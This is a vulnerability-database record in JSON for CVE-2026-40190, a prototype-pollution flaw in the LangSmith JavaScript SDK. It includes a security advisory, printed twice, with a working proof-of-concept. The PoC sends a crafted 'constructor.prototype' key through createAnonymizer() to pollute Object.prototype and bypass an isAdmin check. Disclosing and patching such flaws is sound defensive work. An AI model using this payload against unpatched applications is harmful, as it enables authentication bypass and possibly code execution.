{"id":"CVE-2026-40190","aliases":["EUVD-2026-21594","GHSA-fw9q-39r9-c252","ROOT-APP-NPM-CVE-2026-40190","openSUSE-SU-2026:11284-1"],"status":"published","title":"LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`","description":"LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. Prior to 0.5.18, the LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the __proto__ key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process. This vulnerability is fixed in 0.5.18.","severity":{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00325,"percentile":0.25781,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321"],"published":"2026-04-10T19:47:57Z","modified":"2026-10-26T21:10:00Z","fixes":[{"ecosystem":"npm","package":"langsmith","fixed_in":["0.5.18"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"@rootio/langsmith","fixed_in":["0.3.29-root.io.4","0.3.29-root.io.1","0.3.29-root.io.2","0.3.29-root.io.3","0.3.29-root.io.5","0.3.29-root.io.6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"langsmith","fixed_in":["0.3.29-aikido.4","0.3.29-aikido.5","0.3.29-aikido.6"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"langsmith","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.5.17"},{"fixed":"0.5.18"}]}]},{"source":"osv","ecosystem":"npm","package":"langsmith","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.5.18"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/langsmith","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.29-root.io.4"},{"fixed":"0.3.29-root.io.1"},{"fixed":"0.3.29-root.io.2"},{"fixed":"0.3.29-root.io.3"},{"fixed":"0.3.29-root.io.5"},{"fixed":"0.3.29-root.io.6"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"langsmith","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.29-aikido.4"},{"fixed":"0.3.29-aikido.5"},{"fixed":"0.3.29-aikido.6"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-langsmith","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.10.3-1.1"}]}],"bundled":3}],"products":[{"vendor":"langchain","product":"langsmith"},{"vendor":"langchain-ai","product":"langsmith-sdk"}],"references":[{"url":"https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-fw9q-39r9-c252","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","Mitigation","web"]},{"url":"https://github.com/langchain-ai/langsmith-sdk/pull/2690","tags":["web"]},{"url":"https://github.com/langchain-ai/langsmith-sdk/commit/31d3c3aec02892f4312baae112f817d6b2f0ebe3","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40190","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-fw9q-39r9-c252"},{"url":"https://github.com/langchain-ai/langsmith-sdk","tags":["package"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40190","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41182","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45134","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-40190","title":"LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`","description":"LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. Prior to 0.5.18, the LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the __proto__ key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process. This vulnerability is fixed in 0.5.18.","status":"published","published":"2026-04-10T19:47:57.642Z","modified":"2026-04-13T16:13:45.532Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T13:43:00.288193Z"}],"euvd":[{"id":"EUVD-2026-21594","description":"LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. Prior to 0.5.18, the LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the __proto__ key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process. This vulnerability is fixed in 0.5.18.","status":"published","published":"2026-04-10T19:47:57Z","modified":"2026-04-13T16:13:45Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T19:24:27.467761Z"}],"ghsa":[{"id":"GHSA-fw9q-39r9-c252","title":"LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`","description":"# GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash `set()` Guard in `langsmith-sdk`\n\n**Severity:** Medium (CVSS ~5.6)\n**Status:** Fixed in 0.5.18\n\n---\n\n## Summary\n\nThe LangSmith JavaScript/TypeScript SDK (`langsmith`) contains an incomplete prototype pollution fix in its internally vendored lodash `set()` utility. The `baseAssignValue()` function only guards against the `__proto__` key, but fails to prevent traversal via `constructor.prototype`. This allows an attacker who controls keys in data processed by the `createAnonymizer()` API to pollute `Object.prototype`, affecting all objects in the Node.js process.\n\n---\n\n## Affected Products\n\n| Product | Affected Versions | Component |\n|---------|-------------------|-----------|\n| `langsmith` (npm) | \u003c= 0.5.17 | `js/src/utils/lodash/baseAssignValue.ts`, `js/src/anonymizer/index.ts` |\n| langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |\n\n**Not affected:** The Python SDK (`langsmith` on PyPI) does not use lodash or an equivalent pattern.\n\n---\n\n## Root Cause\n\nThe SDK vendors an internal copy of lodash's `set()` function at `js/src/utils/lodash/`. The `baseAssignValue()` function at `baseAssignValue.ts:11` implements a guard for prototype pollution:\n\n```typescript\nfunction baseAssignValue(object: Record\u003cstring, any\u003e, key: string, value: any) {\n  if (key === \"__proto__\") {\n    Object.defineProperty(object, key, {\n      configurable: true, enumerable: true, value: value, writable: true,\n    });\n  } else {\n    object[key] = value;  // ← No guard for \"constructor\" or \"prototype\" keys\n  }\n}\n```\n\nThis blocks `__proto__` pollution but does **not** block the `constructor.prototype` traversal path. When `set()` is called with a path like `\"constructor.prototype.polluted\"`:\n\n1. `castPath()` splits it into `[\"constructor\", \"prototype\", \"polluted\"]`\n2. `baseSet()` iterates: `obj.constructor` → `Object` → `Object.prototype`\n3. `assignValue(Object.prototype, \"polluted\", value)` calls `baseAssignValue()`\n4. Key is `\"polluted\"` (not `\"__proto__\"`), so the guard is bypassed\n5. `Object.prototype.polluted = value` — all objects are polluted\n\n---\n\n## Attack Vector via Anonymizer\n\nThe `createAnonymizer()` API (importable as `langsmith/anonymizer`) processes data by:\n\n1. **Extracting string nodes** — `extractStringNodes()` walks an object recursively and builds dotted paths from keys\n2. **Applying regex replacements** — If a string value matches a configured pattern, the node is marked for update (`anonymizer/index.ts:95`)\n3. **Writing back with `set()`** — `set(mutateValue, node.path, node.value)` writes the replaced value back (`anonymizer/index.ts:123`)\n\nAn attacker who controls keys in data being anonymized can construct a nested object where the path resolves to `constructor.prototype.X`:\n\n```javascript\n{\n  wrapper: {\n    \"constructor.prototype.isAdmin\": \"contains-secret-pattern\"\n  }\n}\n```\n\n`extractStringNodes()` produces path `\"wrapper.constructor.prototype.isAdmin\"`. When the replacement triggers and `set()` writes back, it traverses up to `Object.prototype`.\n\nAlthough `createAnonymizer()` uses `deepClone()` at `anonymizer/index.ts:62` (`JSON.parse(JSON.stringify(data))`), the prototype chain traversal escapes the clone boundary because `clone.wrapper.constructor` resolves to the global `Object` constructor, not a cloned copy.\n\n---\n\n## Proof of Concept\n\n```javascript\nimport { createAnonymizer } from \"langsmith/anonymizer\";\n\nconst anonymizer = createAnonymizer([\n  { pattern: \"secret\", replace: \"[REDACTED]\" }\n]);\n\nconsole.log(\"BEFORE:\", ({}).isAdmin);  // undefined\n\nconst maliciousInput = {\n  wrapper: {\n    \"constructor.prototype.isAdmin\": \"this-is-secret-data\"\n  }\n};\n\nanonymizer(maliciousInput);\n\nconsole.log(\"AFTER:\", ({}).isAdmin);   // \"this-is-[REDACTED]-data\"\nconsole.log(\"Array:\", [].isAdmin);     // \"this-is-[REDACTED]-data\"\n\nfunction checkAccess(user) {\n  if (user.isAdmin) return \"ACCESS GRANTED\";\n  return \"ACCESS DENIED\";\n}\nconsole.log(checkAccess({ name: \"bob\" }));  // \"ACCESS GRANTED\" ← BYPASSED\n```\n\n---\n\n## Impact\n\nPrototype pollution in a Node.js process can enable:\n\n1. **Authentication bypass** — `if (user.isAdmin)` checks succeed on all objects\n2. **Remote Code Execution** — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach `eval()`/`Function()` sinks\n3. **Denial of Service** — Overwriting `toString`, `valueOf`, or `hasOwnProperty` on all objects\n4. **Data exfiltration** — Polluting serialization methods to inject attacker-controlled values\n\n---\n\n## Remediation\n\nIn `baseAssignValue.ts`, extend the guard to cover `constructor` and `prototype` keys:\n\n```typescript\nfunction baseAssignValue(object, key, value) {\n  if (key === \"__proto__\" || key === \"constructor\" || key === \"prototype\") {\n    Object.defineProperty(object, key, {\n      configurable: true, enumerable: true, value, writable: true,\n    });\n  } else {\n    object[key] = value;\n  }\n}\n```\n\nAs defense in depth, `extractStringNodes()` in `anonymizer/index.ts` should also sanitize or reject path segments matching `constructor` or `prototype` before passing them to `set()`.\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-24 | Initial report submitted |\n| 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |\n\n---\n\n## Credits\n\nReported by: OneThing4101","status":"published","published":"2026-04-10T20:18:02Z","modified":"2026-04-10T21:37:38Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:39:53.087746Z"}],"nvd":[{"id":"CVE-2026-40190","description":"LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. Prior to 0.5.18, the LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the __proto__ key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process. This vulnerability is fixed in 0.5.18.","status":"published","published":"2026-04-10T20:16:24.043Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:12:14.37744Z"}],"osv":[{"id":"GHSA-fw9q-39r9-c252","title":"LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`","description":"# GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash `set()` Guard in `langsmith-sdk`\n\n**Severity:** Medium (CVSS ~5.6)\n**Status:** Fixed in 0.5.18\n\n---\n\n## Summary\n\nThe LangSmith JavaScript/TypeScript SDK (`langsmith`) contains an incomplete prototype pollution fix in its internally vendored lodash `set()` utility. The `baseAssignValue()` function only guards against the `__proto__` key, but fails to prevent traversal via `constructor.prototype`. This allows an attacker who controls keys in data processed by the `createAnonymizer()` API to pollute `Object.prototype`, affecting all objects in the Node.js process.\n\n---\n\n## Affected Products\n\n| Product | Affected Versions | Component |\n|---------|-------------------|-----------|\n| `langsmith` (npm) | \u003c= 0.5.17 | `js/src/utils/lodash/baseAssignValue.ts`, `js/src/anonymizer/index.ts` |\n| langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |\n\n**Not affected:** The Python SDK (`langsmith` on PyPI) does not use lodash or an equivalent pattern.\n\n---\n\n## Root Cause\n\nThe SDK vendors an internal copy of lodash's `set()` function at `js/src/utils/lodash/`. The `baseAssignValue()` function at `baseAssignValue.ts:11` implements a guard for prototype pollution:\n\n```typescript\nfunction baseAssignValue(object: Record\u003cstring, any\u003e, key: string, value: any) {\n  if (key === \"__proto__\") {\n    Object.defineProperty(object, key, {\n      configurable: true, enumerable: true, value: value, writable: true,\n    });\n  } else {\n    object[key] = value;  // ← No guard for \"constructor\" or \"prototype\" keys\n  }\n}\n```\n\nThis blocks `__proto__` pollution but does **not** block the `constructor.prototype` traversal path. When `set()` is called with a path like `\"constructor.prototype.polluted\"`:\n\n1. `castPath()` splits it into `[\"constructor\", \"prototype\", \"polluted\"]`\n2. `baseSet()` iterates: `obj.constructor` → `Object` → `Object.prototype`\n3. `assignValue(Object.prototype, \"polluted\", value)` calls `baseAssignValue()`\n4. Key is `\"polluted\"` (not `\"__proto__\"`), so the guard is bypassed\n5. `Object.prototype.polluted = value` — all objects are polluted\n\n---\n\n## Attack Vector via Anonymizer\n\nThe `createAnonymizer()` API (importable as `langsmith/anonymizer`) processes data by:\n\n1. **Extracting string nodes** — `extractStringNodes()` walks an object recursively and builds dotted paths from keys\n2. **Applying regex replacements** — If a string value matches a configured pattern, the node is marked for update (`anonymizer/index.ts:95`)\n3. **Writing back with `set()`** — `set(mutateValue, node.path, node.value)` writes the replaced value back (`anonymizer/index.ts:123`)\n\nAn attacker who controls keys in data being anonymized can construct a nested object where the path resolves to `constructor.prototype.X`:\n\n```javascript\n{\n  wrapper: {\n    \"constructor.prototype.isAdmin\": \"contains-secret-pattern\"\n  }\n}\n```\n\n`extractStringNodes()` produces path `\"wrapper.constructor.prototype.isAdmin\"`. When the replacement triggers and `set()` writes back, it traverses up to `Object.prototype`.\n\nAlthough `createAnonymizer()` uses `deepClone()` at `anonymizer/index.ts:62` (`JSON.parse(JSON.stringify(data))`), the prototype chain traversal escapes the clone boundary because `clone.wrapper.constructor` resolves to the global `Object` constructor, not a cloned copy.\n\n---\n\n## Proof of Concept\n\n```javascript\nimport { createAnonymizer } from \"langsmith/anonymizer\";\n\nconst anonymizer = createAnonymizer([\n  { pattern: \"secret\", replace: \"[REDACTED]\" }\n]);\n\nconsole.log(\"BEFORE:\", ({}).isAdmin);  // undefined\n\nconst maliciousInput = {\n  wrapper: {\n    \"constructor.prototype.isAdmin\": \"this-is-secret-data\"\n  }\n};\n\nanonymizer(maliciousInput);\n\nconsole.log(\"AFTER:\", ({}).isAdmin);   // \"this-is-[REDACTED]-data\"\nconsole.log(\"Array:\", [].isAdmin);     // \"this-is-[REDACTED]-data\"\n\nfunction checkAccess(user) {\n  if (user.isAdmin) return \"ACCESS GRANTED\";\n  return \"ACCESS DENIED\";\n}\nconsole.log(checkAccess({ name: \"bob\" }));  // \"ACCESS GRANTED\" ← BYPASSED\n```\n\n---\n\n## Impact\n\nPrototype pollution in a Node.js process can enable:\n\n1. **Authentication bypass** — `if (user.isAdmin)` checks succeed on all objects\n2. **Remote Code Execution** — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach `eval()`/`Function()` sinks\n3. **Denial of Service** — Overwriting `toString`, `valueOf`, or `hasOwnProperty` on all objects\n4. **Data exfiltration** — Polluting serialization methods to inject attacker-controlled values\n\n---\n\n## Remediation\n\nIn `baseAssignValue.ts`, extend the guard to cover `constructor` and `prototype` keys:\n\n```typescript\nfunction baseAssignValue(object, key, value) {\n  if (key === \"__proto__\" || key === \"constructor\" || key === \"prototype\") {\n    Object.defineProperty(object, key, {\n      configurable: true, enumerable: true, value, writable: true,\n    });\n  } else {\n    object[key] = value;\n  }\n}\n```\n\nAs defense in depth, `extractStringNodes()` in `anonymizer/index.ts` should also sanitize or reject path segments matching `constructor` or `prototype` before passing them to `set()`.\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-24 | Initial report submitted |\n| 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |\n\n---\n\n## Credits\n\nReported by: OneThing4101","status":"published","published":"2026-04-10T20:18:02Z","modified":"2026-09-10T03:50:44.182038974Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:47.119724Z"},{"id":"ROOT-APP-NPM-CVE-2026-40190","title":"CVE-2026-40190 in @rootio/langsmith - Patched by Root","description":"Root has patched CVE-2026-40190 in the @rootio/langsmith package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-06-08T06:38:18Z","modified":"2026-06-08T13:49:37.21406211Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"openSUSE-SU-2026:11284-1","title":"python313-langsmith-0.10.3-1.1 on GA media","description":"These are all security issues fixed in the python313-langsmith-0.10.3-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-07-15T00:00:00Z","modified":"2026-07-16T10:00:16.350472444Z","updated_at":"2026-11-02T16:58:38.95195Z"}]}}